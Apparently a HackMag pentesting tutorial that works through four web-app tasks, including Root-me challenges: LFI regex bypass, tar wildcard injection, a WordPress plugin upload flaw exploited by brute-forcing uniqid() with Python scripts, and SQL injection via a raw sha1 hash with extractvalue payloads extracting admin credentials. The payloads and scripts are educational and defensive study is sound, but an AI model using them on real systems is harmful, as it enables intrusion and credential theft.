Fatal mistakes. How to identify logical vulnerabilities in web apps

Analysis of all kinds of vulnerabilities is one of the main HackMag topics. In this article, I will use four classical pentesting tasks to explain how to identify bugs in web apps.

The majority of tasks discussed below are written in PHP since most websites and Internet services use this language. Accordingly, sophisticated hacking cases require a good knowledge of PHP (despite its tainted reputation). However, to understand this article, you don’t have to be proficient in this programming language, although if you are, this will help greatly.

Note that most real-life vulnerabilities are not ‘confined’ to a certain language or technology stack: after learning them in PHP, you will be able to exploit similar bugs in ASP.NET, Node.JS, etc.

The tasks discussed in this article are not entry-level ones; so, you must at least be able to distinguish HTTP from XML and know answers to such questions as “what the heck are these dollar signs in the code?” If you meet these requirements, then welcome !

warning

This article is intended for educational purposes only. Neither the author nor the Editorial Board can be held liable for your actions. Information provided in this material cannot be used against any system without a prior consent of its owner; otherwise, such actions are punishable by law.

If the tasks discussed below seem too complex to you, don’t be scared: you can always polish your skills on governmental websites specialized resources for ethical hackers, including HackTheBox and Root-me. I use these platforms on a regular basis and strongly recommend them to all aspiring pentesters. Two of the tasks addressed in this materials have been taken from Root-me.

Task 1

The code below has to be hacked:

<?php
$file = rawurldecode($_REQUEST['file']);
$file = preg_replace('/^.+[\\\\\\/]/', $file);
include("/inc/{$file}");
?>

Actually, it consists of just three strings. What kind of vulnerability can be hidden in them?

First of all, let’s examine the algorithm implemented in this code. The ability to read code line by line is very useful when you audit programs: it allows you to understand what exactly might go wrong.

  1. The file parameter from the URL request is placed in the $file variable. For instance, if the URL is https://xakep.ru/example?file=test.php, then $_REQUEST['file'] will contain test.php.

  2. Then the result is validated. This is required to prevent the transmission of such sequences as ../../../../etc/passwd with subsequent reading of the target files. The protection is implemented on the basis of a regular expression: the output contains everything that goes after the last slash character (i.e. only passwd that, of course, isn’t stored in the work directory).

  3. The resultant file name is inserted into a path, and the file with this name is loaded. So, far, everything seems to be fine.

So, what’s the problem?

As you have likely guessed, the problem is in the preg_replace function. Let’s take the first available regular expressions cheat sheet.

Cheat sheet
Cheat sheet

It contains a direct instruction on how to bypass the protection (hint: search for it on the right side).

Do you see the dot? And the ^ character? The respective string in the code says: if the string begins with any number of any characters, except for the new line character, and this sequence of characters ends with a slash character, delete the respective part of the string.

The key words are “except for the new line character”. If a new line character is in the beginning of the string, the regular expression won’t work, and the entered string will be saved to include() without filtering.

info

In real life, PHP programmers rarely upload files this way. This task is just an example, even though such hopelessly insecure programs still exist. You may try to look for such subdomains as old.company.com or oldsite.company.com running 10-year-old website versions with canonical vulnerabilities.

The sceenshot below shows how the file http://test.host/lfi.php?file=%0a../../../../etc/passwd is read.

Result
Result

Task 2

This task was taken from Root-me; so, you may be already familiar with it. But it’s still worth your attention because similar vulnerabilities are pretty common in real life.

In this task, you are given a simple file hosting service and must gain access to its admin panel.

File hosting interface
File hosting interface

The interface is very simple: you can use the button to upload a file to the server and view uploaded files by clicking on direct links. Important: you cannot upload scripts in PHP, bash, etc. to the server – the checks are implemented correctly, and the bug is somewhere else.

Note the lower part of the page, to be specific, the phrase: “frequent backups: this opensource script is launched every 5 minutes for saving your files.” The link to the script called by the system every 5 minutes is provided as well.

Let’s examine this script in more detail:

#!/bin/bash
BASEPATH=$(dirname `readlink -f "$0"`)
BASEPATH=$(dirname "$BASEPATH")
cd "$BASEPATH/tmp/upload/$1"
tar cvf "$BASEPATH/tmp/save/$1.tar" *

At the first glance, everything seems to be OK. You cannot alter the parameters, and the command calling tar is well-known to you. But the problem is in the command itself: it is not written in full here. To be specific, tar will see it in a different way.

What is the purpose of the asterisk there? Instead of it, bash will insert names of all files in the current folder. Seems to be nothing wrong.

But let’s check the manual for GNU tar kindly provided with the task.

Some interesting features in tar
Some interesting features in tar

This information is of utmost interest: tar has special features that enable you to flexibly monitor the archiving process. For that purpose, the program uses so-called checkpoints that may have their own specific actions. One of such actions is exec=command: when the checkpoint is reached, it executes command using a standard shell.

Now let’s get back to the asterisk: instead of it, bash will insert names of all files in the current folder, and these files may have any names, including those interpreted by the archiver as special parameters.

So, all you have to do is inject files whose names are tar arguments. I used the following ones: --checkpoint=1, --checkpoint-action=exec=sh shell.sh (empty) и shell.sh (payload). The shell.sh file contains the following code:

#!/bin/sh
cp ../../../admin/index.php ./

As simple as that: a header and a command copying the admin panel to the current folder. Of course, I could use a reverse shell or something else, but such advanced tools are not required in this particular case.

After the shell execution, you will see in the web storage service window the file containing the admin panel in the plain text format. All you have to do is open it and find the password there.

Here is the password
Here is the password

Task 3

This is a WordPress plugin that enables audio and video recording.

This time, I won’t ask you to find the vulnerability; instead, I will demonstrate it myself.

Vulnerable piece of code
Vulnerable piece of code

As you can see in the screenshot (strings 247-251), the file type and content aren’t checked at all, i.e. this is a classical upload vulnerability.

There is a restriction though: the file is uploaded to the standard WordPress directory (/wordpress/wp-content/uploads/{YEAR}/{MONTH}); so, the listing of its content by default is not available to you. String 247 generates a random identifier added in the beginning of the file name, thus, making it impossible to call /wordpress/wp-content/uploads/2021/01/shell.php. Hmm, a problem…

However, the problem is not that the file name is changed, but that it’s done using the uniqid() function. Time to look into the documentation.

Gets a prefixed unique identifier based on the current time in microseconds.
<…>
Warning. This function does not guarantee uniqueness of return value. Since most systems adjust system clock by NTP or like, system time is changed constantly. Therefore, it is possible that this function does not return unique ID for the process/thread. <…>

How’s that? The unique identifier generated by uniqid() is actually not unique! This can (and must) be exploited. Since you know the time of the call, you can guess the returned uniqid() value and find out the actual path to the file.

PHP is an open project, and source codes of functions included in its standard library are publicly available. If you open the uniqid() source code on GitHub and go to string 76, you will see the following:

uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);

This means that the returned value depends on the current time, which is quite predictable across the globe :).

In other words, the output sequence seems to be random, but it’s not. Below is a file name generated using this algorithm:

5ff21d43dbbab_shell.php

This name can be easily decoded back to the date and time of its generation:

echo date("r", hexdec(substr("5ff21d43dbbab", 0, 8)));
// Sun, 03 Jan 2021 11:38:43 -0800

No doubt, it would take a while to brute-force all the 13 characters, but there is another, much faster, way. You can brute-force the variants based on the upload time plus-minus half a second (to offset possible time difference between the client and the server). Alternatively, you can assume that the clocks on both hosts are accurate, and instead of brute-forcing one million variants (i.e. 1 second), brute-force only variants falling in the interval between sending the request and receiving the response. On a fast channel, this interval is 300-700 ms, which is not really much.

info

Of course, not all real-life cases require comprehensive knowledge of PHP or other server languages. Many errors can be identified even without manually reviewing the code (i.e. by using automatic scanners). For more information on these utilities, check our article Hack in one click. Comparing automated vulnerability scanners. Needless to say, automatic scanners are extremely useful tools, and you should always have a few at hand for express analysis.

For demonstration purposes, I wrote a short script in Python:

#!/usr/bin/env python3
import requests, time
url = 'http://example.host/wordpress/wp-admin/admin-ajax.php'
data = {
'audio-filename': 'file.php',
'action': 'save_record',
'course_id': 'undefined',
'unit_id': 'undefined',
}
files = {
'audio-blob': open('pi.php.txt', 'rb')
}
print(time.time()) # Time the request is sent
r = requests.post(url, data=data, files=files)
print(time.time()) # Time the response is received
print(r.headers)

The script has to be run several times to identify the minimum interval between sending the request and receiving the response: this allows to reduce the brute-forcing time.

Also, keep in mind that time on your local machine may differ from the server time, and it’s always a good idea to check whether this is the case or not. The server often returns its time in the Last-Modified header; so, use it to adjust your calculations.

Brute-forcing:

#!/usr/bin/env python3
import sys, time
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
number = Queue()
timestamp = 100000000 # your timestamp here
def main():
try:
hextime = format(timestamp, '8x')
while number:
try:
n = number.get(False)
hexusec = format((n), '5x')
print("%s%s" % (hextime, hexusec))
except:
exit()
except Exception as e:
print(" Exception main", e)
raise
try:
for num in range(100000, 900000): # your us here
number.put(num)
main()
except KeyboardInterrupt:
print("\nCancelled by user!")

Is it possible to further optimize the brute-forcing procedure?

First, note that Python itself is very slow, and it cannot establish connection, transmit the headers, send the file, etc. instantly. The PHP interpreter on the server side also cannot check the permissions, run the script, execute the service functions, and reach to the vulnerable place momentarily. Therefore, you can safely reduce the time interval to be brute-forced by at least 100 thousand μs.

Second, uniqid() is executed not in the very end of the function. Some time is required to process the uploaded file, write the response (headers), send them over the network, and process the response by the Python interpreter, which takes additional 100 thousand μs.

As you can see, the number of variants to be brute-forced has been easily reduced by additional 200 thousand. How much is it? In my case, this reduced the number of attempts by some one-third.

The remaining 500,000 variants can be brute-forced in an hour or less (in my case, it took some 15 minutes).

Time to write another script that will search for your shell using the above algorithm:

#!/usr/bin/env python3
import time
import threading
import requests
from threading import Lock
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
number = Queue()
thread_count = 500
timestamp = 100000000 # your timestamp here
def main():
try:
hextime = format(timestamp, '8x')
while not finished.isSet():
try:
n = number.get(False)
hexusec = format((n), '5x')
uniqid = hextime + hexusec
ans = requests.get('http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
if ans.status_code == 200:
print('Shell: http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
exit()
except Empty:
finished.set()
exit()
except Exception as e:
print(" Exception main", e)
raise
try:
for num in range(100000, 900000): # your us here, including range limits described
number.put(num)
finished = threading.Event()
for i in range(thread_count)
t = threading.Thread(target=main)
t.start()
except KeyboardInterrupt:
print("\nCancelled by user!")

Voila! You run the script; some time later, it identifies the path; and the host is yours!

Apparently your next question is: 500 thousand variants is still too much, how else can the brute-forcing algorithm be refined? In fact, there is one way to expedite it further, but the speed gain won’t be as significant as before. The idea is as follows: you can move not from the beginning of the time interval to its end, but from its middle to the edges. Based on my experience, it works somewhat faster.

An alternative method

There is also an easier way: the new path to the file is generated as follows: <standard download folder> + <new file name>. As you remember, the new file name is: uniqid () + "_" + <file name set by the user>. Since the name set by the user is not validated, you can instruct the system to move the file along the following path: <downloads folder> + <random value> + "_/../shell.php" by transmitting the value /../shell.php in the file name. As a result, the path to the shell becomes as follows: <path to the current wp-upload>/shell.php.

Task 4

The last task was also taken from Root-me.org; it belongs to the ‘realistic’ category, but is much more sophisticated. The Web TV service is the latest French development in the field of Internet TV. But your goal is not to watch a French comedy, but gain access to the admin panel.

Web TV main page. Pardon my French
Web TV main page. Pardon my French

The problem is that Gobuster cannot locate any signs of it. So, you have no choice but to examine what’s available there: login (i.e. the authentication form) and a link to a nonfunctional broadcast.

Let’s try to log in and intercept the authentication request with Burp.

The request is sent to the Repeater, which is fine.

Now let’s get back to the login form. What thoughts come to your mind when you see an authentication form? SQL injection, of course! So, let’s put a quotation mark there. Done. Sending. Hmm, nothing has changed. And how can you find out if something has changed? Absolutely right: by examining the Content-Length header in the response (in this particular case, 2079 bytes are received if no injection occurred and a very different number of bytes otherwise). I played with it a little more, but the injection didn’t show up so easily; therefore, let’s look elsewhere and then return to this request.

Time to examine the address line. It seems that mod_rewrite is enabled on the server because file names cannot be seen. Let’s explore the site a little bit keeping track of URL variants in the address line: /page_login, /page_tv, /page_accueil, etc. Apparently /page_ is the array name (and my personal experience supports this assumption). So, what happens if you transmit something after /page_? Something legitimate but not expected by the server?

An attempt to navigate to /page_index results in an error (see the screenshot below).

Interpreter error
Interpreter error

The first error message displays a portion of the path (corp_pages/fr/index); it ends with the same word as the one I have transmitted in the URL after /page_ (i.e. index). To check whether my guess is correct, I try to navigate to /page_xakep.php.

Success! The site engine simply inserts the parameter into the path and tries to read the nonexistent file xakep.php. The user input is injected into the path, which means that I can have plenty of fun on this website!

Using the scientific trial and error method, I managed to locate the /?action= parameter; it’s similar to /page_ in functionality. Now let’s try to read index.php in the root directory of the website.

/?action=../../index.php
/?action=../../index.php

Not everything can be seen on the screenshot, but you can open the response in Burp or simply view the entire web page code in your browser. This trick is called directory traversal.

Directory traversal result
Directory traversal result

Remember you couldn’t find the path to the admin panel? It’s shown on the above screenshot: you are redirected to it after the script verifies the login and password you have entered

info

Let’s examine the safe function in more detail. It receives a string, escapes special characters, and optionally removes HTML special characters (if the second parameter is set to 1). The addslashes function is responsible for escaping special characters; it can be bypassed using a multibyte encoding (e.g. the Chinese one). Too bad, the server doesn’t support such a coding…

Let’s examine the web page code; perhaps, it contains something of interest?

<?php
require_once '../inc/config.php';
function decrypt($str, $key) {
$iv = substr( md5("hacker",true), 0, 8 );
return mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv );
}
$msg="";
$user="";
if (isset($_GET["logout"])) $_SESSION['logged']=0;
if (isset($_GET["user"]) && preg_match("/^[a-zA-Z0-9]+$/",$_GET["user"])){
$user=$_GET["user"];
} else {
$msg="<p>hack detected !</p>";
$_SESSION['logged']=0;
}
if ($_SESSION['logged']==1) {
$Validation="4/lOF/4ZMmdPxlFjZD63nA==";
if ($result = $db->query("SELECT passwd FROM users WHERE login='$user'")) {
if($result->num_rows > 0){
$data = $result->fetch_assoc();
$key=base64_encode($data['passwd']);
$msg=$text['felicitation'].decrypt(base64_decode($Validation),$key);
} else {
$msg="<p>no such user</p>";
$_SESSION['logged']=0;
}
$result->close();
} else{
$msg="<p>ERREUR SQL</p>";
$db->close();
exit();
}
} else {
header("Location: ../index.php");
$db->close();
exit();
}
$db->close();
?>

The code has been successfully read, and it includes an interesting function, decrypt, that receives a string and a key.

If you examine the code further, you will see the protection against special characters in the username, and then the password is extracted from the database and decrypted by the above function. Supposedly, this is it, but you have to find out the username first – so far, it remains unknown. Leaping ahead: all the bugs present in this application are contained in the two examined files; there are no other vulnerabilities.

To continue the exploitation, I suggest to go back to the previous file and review its code again:

if(isset($_POST['login'],$_POST['pass']) and !empty($_POST['login']) and !empty($_POST['pass']) ) {
$passwd=sha1($_POST['pass'],true); # Hashing
$username=safe($_POST['login']); # Extracting username
$sql="SELECT login FROM $table WHERE passwd='$passwd' AND login='$username'";
<...>
}

Note the hashing function: do you remember the purpose of the second parameter (true) in the sha1 function? Neither do I; so, let’s check the manual:

Parameters
string
The input string.
binary
If the optional binary is set to true, then the sha1 digest is instead returned in raw binary format with a length of 20, otherwise the returned value is a 40-character hexadecimal number.
<…>

In other words, some binary sequence will be returned and interpreted as a string. This means that you have to make the last byte equal to 5c (backslash in ASCII), so that the closing quote after the password in the SQL query is escaped – and you will be able to inject arbitrary SQL code in the login! After such an injection, the query will look something like this:

$sql="SELECT login FROM $table WHERE passwd='123123'' OR 1=1 -- '";

To do so, you have to find a character in a multibyte encoding system whose last byte is equal to 5c. In this particular case, it’s necessary to find a password whose hash ends with 5c. But this is as easy as apple pie since nothing restricts what you pass to the function. I wrote a simple PHP script for this purpose:

<?php
for ($i = 1; $i <= 10000; $i++) {
$hash = sha1($i);
if (substr($hash, 38, 2) == "5c") {
echo $i." - ";
die(sha1($i, true));
}
}
?>

The 10 thousand variants is, in fact, overkill because 5c is just one byte. Since the output sequence of the hash function is pseudorandom, it will take some 256 attempts if there are no duplicates. But I want to be on the safe side.

Very quickly, it turned out that number 17 fits. Now you have the ‘correct’ password. Time to check the reaction of the service. Remember the earlier login request in Burp? Enter 17 as the password, while the login is classical: ORDER BY 1-- (with spaces on both sides). Voila! No error messages, everything is fine. This indicates that the number of fields is more than one. Let’s input something longer, for instance, 111. I press the Enter key, and an error message is displayed, which means that the SQL injection is working!

Too bad, no results are displayed in response to the request. How to overcome this? Of course, by using any time-based, boolean-based, or error-based templates.

My favorite payload for such situations is AND extractvalue(1,concat(0x3a,(select version() from users limit 0,1))). Just in case, I replace spaces with plus characters, insert it in the login field in Burp, and send the request. The response is as follows:

SQL error : XPATH syntax error: ':5.7.32-0ubuntu0.16.04.1'

The injection works, although no more than 31 characters are displayed at once. But, in fact, this is sufficient. To get the login, the injection must be slightly altered:

AND extractvalue(1,concat(0x3a,(select login from users limit 0,1)))

Response:

SQL error : XPATH syntax error: ':administrateur'

Extracting the password:

AND extractvalue(1,concat(0x3a,(select passwd from users limit 0,1)))

Here it is:

SQL error : XPATH syntax error: ':e79c4da4f94b86cba5a81ba39fed083'

But it’s not that simple. As you remember, the length of the SHA-1 hash in the hexadecimal encoding is 40 characters, while you have only 31, which is not good. To fix this, use the right function:

AND extractvalue(1,concat(0x3a,(select right(passwd,20) from users limit 0,1)))

Here are the last 20 characters:

SQL error : XPATH syntax error: ':1ba39fed083dbaf8bce5'

The complete hash is e79c4da4f94b86cba5a81ba39fed083dbaf8bce5.

Now you have to bypass verifications in logged.php. After some simplifications and code refining, the payload looks as follows:

function decrypt($str, $key) {
$iv = substr(md5("hacker",true), 0, 8);
return mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv);
}
$Validation = "4/lOF/4ZMmdPxlFjZD63nA==";
$key = base64_encode('e79c4da4f94b86cba5a81ba39fed083dbaf8bce5');
echo decrypt(base64_decode($Validation), $key);

Now all you have to do is wrap it in PHP headers and run – and the password is yours!

Video: presentation of the above tasks on a webinar (in Russian)


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>